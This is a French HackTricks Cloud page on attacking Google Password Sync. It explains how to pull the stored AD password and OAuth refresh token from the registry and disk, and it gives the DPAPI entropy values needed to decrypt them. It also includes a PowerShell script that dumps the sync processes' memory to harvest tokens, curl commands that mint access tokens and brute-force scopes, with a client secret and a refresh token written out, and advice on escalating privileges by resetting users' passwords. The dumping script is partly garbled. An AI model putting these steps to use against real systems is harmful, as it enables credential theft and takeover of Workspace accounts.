GPS - Google Password Sync
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Informations de base
Ceci est le binaire et le service que Google propose pour maintenir synchronisĂ©s les mots de passe des utilisateurs entre lâAD et Workspace. Chaque fois quâun utilisateur change son mot de passe dans lâAD, il est dĂ©fini sur Google.
Il est installĂ© dans C:\Program Files\Google\Password Sync oĂč vous pouvez trouver le binaire PasswordSync.exe pour le configurer et password_sync_service.exe (le service qui continuera Ă fonctionner).
GPS - Configuration
Pour configurer ce binaire (et service), il est nécessaire de lui donner accÚs à un principal Super Admin dans Workspace :
- Se connecter via OAuth avec Google et ensuite il stockera un jeton dans le registre (chiffré)
- Disponible uniquement sur les contrĂŽleurs de domaine avec interface graphique
- Fournir des identifiants de compte de service de GCP (fichier json) avec des permissions pour gérer les utilisateurs de Workspace
- TrĂšs mauvaise idĂ©e car ces identifiants nâexpirent jamais et pourraient ĂȘtre mal utilisĂ©s
- TrĂšs mauvaise idĂ©e de donner un accĂšs SA sur Workspace car le SA pourrait ĂȘtre compromis dans GCP et il serait possible de pivoter vers Workspace
- Google lâexige pour les contrĂŽleurs de domaine sans interface graphique
- Ces identifiants sont également stockés dans le registre
Concernant lâAD, il est possible dâindiquer dâutiliser le contexte dâapplications actuel, anonyme ou des identifiants spĂ©cifiques. Si lâoption dâidentifiants est sĂ©lectionnĂ©e, le nom dâutilisateur est stockĂ© dans un fichier sur le disque et le mot de passe est chiffrĂ© et stockĂ© dans le registre.
GPS - Dumping du mot de passe et du jeton depuis le disque
Tip
Notez que Winpeas est capable de dĂ©tecter GPS, dâobtenir des informations sur la configuration et mĂȘme de dĂ©chiffrer le mot de passe et le jeton.
Dans le fichier C:\ProgramData\Google\Google Apps Password Sync\config.xml, il est possible de trouver une partie de la configuration comme le baseDN de lâAD configurĂ© et le nom d'utilisateur dont les identifiants sont utilisĂ©s.
Dans le registre HKLM\Software\Google\Google Apps Password Sync, il est possible de trouver le jeton de rafraĂźchissement chiffrĂ© et le mot de passe chiffrĂ© pour lâutilisateur AD (le cas Ă©chĂ©ant). De plus, si au lieu dâun jeton, des identifiants SA sont utilisĂ©s, il est Ă©galement possible de les trouver chiffrĂ©s Ă cette adresse de registre. Les valeurs Ă lâintĂ©rieur de ce registre ne sont accessibles que par les Administrateurs.
Le mot de passe chiffrĂ© (le cas Ă©chĂ©ant) se trouve dans la clĂ© ADPassword et est chiffrĂ© en utilisant lâAPI CryptProtectData. Pour le dĂ©chiffrer, vous devez ĂȘtre le mĂȘme utilisateur que celui qui a configurĂ© la synchronisation des mots de passe et utiliser cette entropie lors de lâutilisation de CryptUnprotectData : byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };
Le jeton chiffrĂ© (le cas Ă©chĂ©ant) se trouve dans la clĂ© AuthToken et est chiffrĂ© en utilisant lâAPI CryptProtectData. Pour le dĂ©chiffrer, vous devez ĂȘtre le mĂȘme utilisateur que celui qui a configurĂ© la synchronisation des mots de passe et utiliser cette entropie lors de lâutilisation de CryptUnprotectData : byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };
De plus, il est également encodé en base32hex avec le dictionnaire 0123456789abcdefghijklmnopqrstv.
Les valeurs dâentropie ont Ă©tĂ© trouvĂ©es en utilisant lâoutil. Il a Ă©tĂ© configurĂ© pour surveiller les appels Ă CryptUnprotectData et CryptProtectData et ensuite lâoutil a Ă©tĂ© utilisĂ© pour lancer et surveiller PasswordSync.exe qui dĂ©chiffrera le mot de passe et le jeton dâauthentification configurĂ©s au dĂ©but et lâoutil affichera les valeurs pour lâentropie utilisĂ©e dans les deux cas :

Notez quâil est Ă©galement possible de voir les valeurs dĂ©chiffrĂ©es dans lâentrĂ©e ou la sortie des appels Ă ces API Ă©galement (au cas oĂč Ă un moment donnĂ© Winpeas cesserait de fonctionner).
Dans le cas oĂč la synchronisation des mots de passe a Ă©tĂ© configurĂ©e avec des identifiants SA, elle sera Ă©galement stockĂ©e dans des clĂ©s Ă lâintĂ©rieur du registre HKLM\Software\Google\Google Apps Password Sync.
GPS - Dumping des jetons depuis la mémoire
Tout comme avec GCPW, il est possible de dumper la mĂ©moire du processus de PasswordSync.exe et des processus password_sync_service.exe et vous pourrez trouver des jetons de rafraĂźchissement et dâaccĂšs (sâils ont dĂ©jĂ Ă©tĂ© gĂ©nĂ©rĂ©s).
Je suppose que vous pourriez Ă©galement trouver les identifiants configurĂ©s de lâAD.
Dump PasswordSync.exe et les processus password_sync_service.exe et rechercher des jetons
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
Regular expressions for tokens
$tokenRegexes = @( âya29.[a-zA-Z0-9_.-]{50,}â, â1//[a-zA-Z0-9_.-]{50,}â )
Show EULA if it wasnât accepted yet for strings
$stringsPath
Create a directory for the dumps if it doesnât exist
if (!(Test-Path $dumpFolder)) { New-Item -Path $dumpFolder -ItemType Directory }
Get all Chrome process IDs
$processNames = @(âPasswordSyncâ, âpassword_sync_serviceâ) $chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id
Dump each Chrome process
foreach ($processId in $chromeProcesses) { Write-Output âDumping process with PID: $processIdâ & $procdumpPath -accepteula -ma $processId â$dumpFolder\chrome_$processId.dmpâ }
Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter â*.dmpâ | ForEach-Object { $dumpFile = $.FullName $baseName = $.BaseName $asciiStringsFile = â$dumpFolder${baseName}_ascii_strings.txtâ $unicodeStringsFile = â$dumpFolder${baseName}_unicode_strings.txtâ
Write-Output âExtracting strings from $dumpFileâ & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile & $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) { foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) { foreach ($match in $matchInfo.Matches) { $matchValue = $match.Value if (-not $uniqueMatches.ContainsKey($matchValue)) { $uniqueMatches[$matchValue] = @{ LineNumber = $matchInfo.LineNumber LineText = $matchInfo.Line.Trim() FilePath = $matchInfo.Path } } } }
foreach ($matchValue in $uniqueMatches.Keys) { $info = $uniqueMatches[$matchValue] Write-Output âMatch found in file â$($info.FilePath)â on line $($info.LineNumber): $($info.LineText)â } }
Write-Output ââ } }
</details>
### GPS - Génération de jetons d'accÚs à partir de jetons d'actualisation
En utilisant le jeton d'actualisation, il est possible de générer des jetons d'accÚs en utilisant celui-ci ainsi que l'ID client et le secret client spécifiés dans la commande suivante :
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token
GPS - Scopes
Note
Notez quâil nâest pas possible de demander nâimporte quel scope pour le jeton dâaccĂšs mĂȘme en ayant un jeton de rafraĂźchissement, car vous ne pouvez demander que les scopes pris en charge par lâapplication oĂč vous gĂ©nĂ©rez le jeton dâaccĂšs.
De plus, le jeton de rafraĂźchissement nâest pas valide dans toutes les applications.
Par dĂ©faut, GPS nâaura pas accĂšs en tant quâutilisateur Ă tous les scopes OAuth possibles, donc en utilisant le script suivant, nous pouvons trouver les scopes qui peuvent ĂȘtre utilisĂ©s avec le refresh_token pour gĂ©nĂ©rer un access_token :
Bash script to brute-force scopes
```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \ --data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \ --data "grant_type=refresh_token" \ --data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \ --data "scope=$scope" \ https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then echo "" echo $scope echo $scope >> /tmp/valid_scopes.txt fi doneecho ââ echo ââ echo âValid scopes:â cat /tmp/valid_scopes.txt rm /tmp/valid_scopes.txt
</details>
Et voici le résultat que j'ai obtenu au moment de l'écriture :
https://www.googleapis.com/auth/admin.directory.user
Le mĂȘme que celui que vous obtenez si vous n'indiquez aucun champ.
> [!CAUTION]
> Avec ce champ, vous pourriez **modifier le mot de passe d'un utilisateur existant pour élever les privilÚges**.
> [!TIP]
> Apprenez & pratiquez AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenez HackTricks</summary>
>
> - Consultez les [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Rejoignez le** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) ou le [**telegram group**](https://t.me/peass) ou **suivez-nous** sur **Twitter** đŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des hacking tricks en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

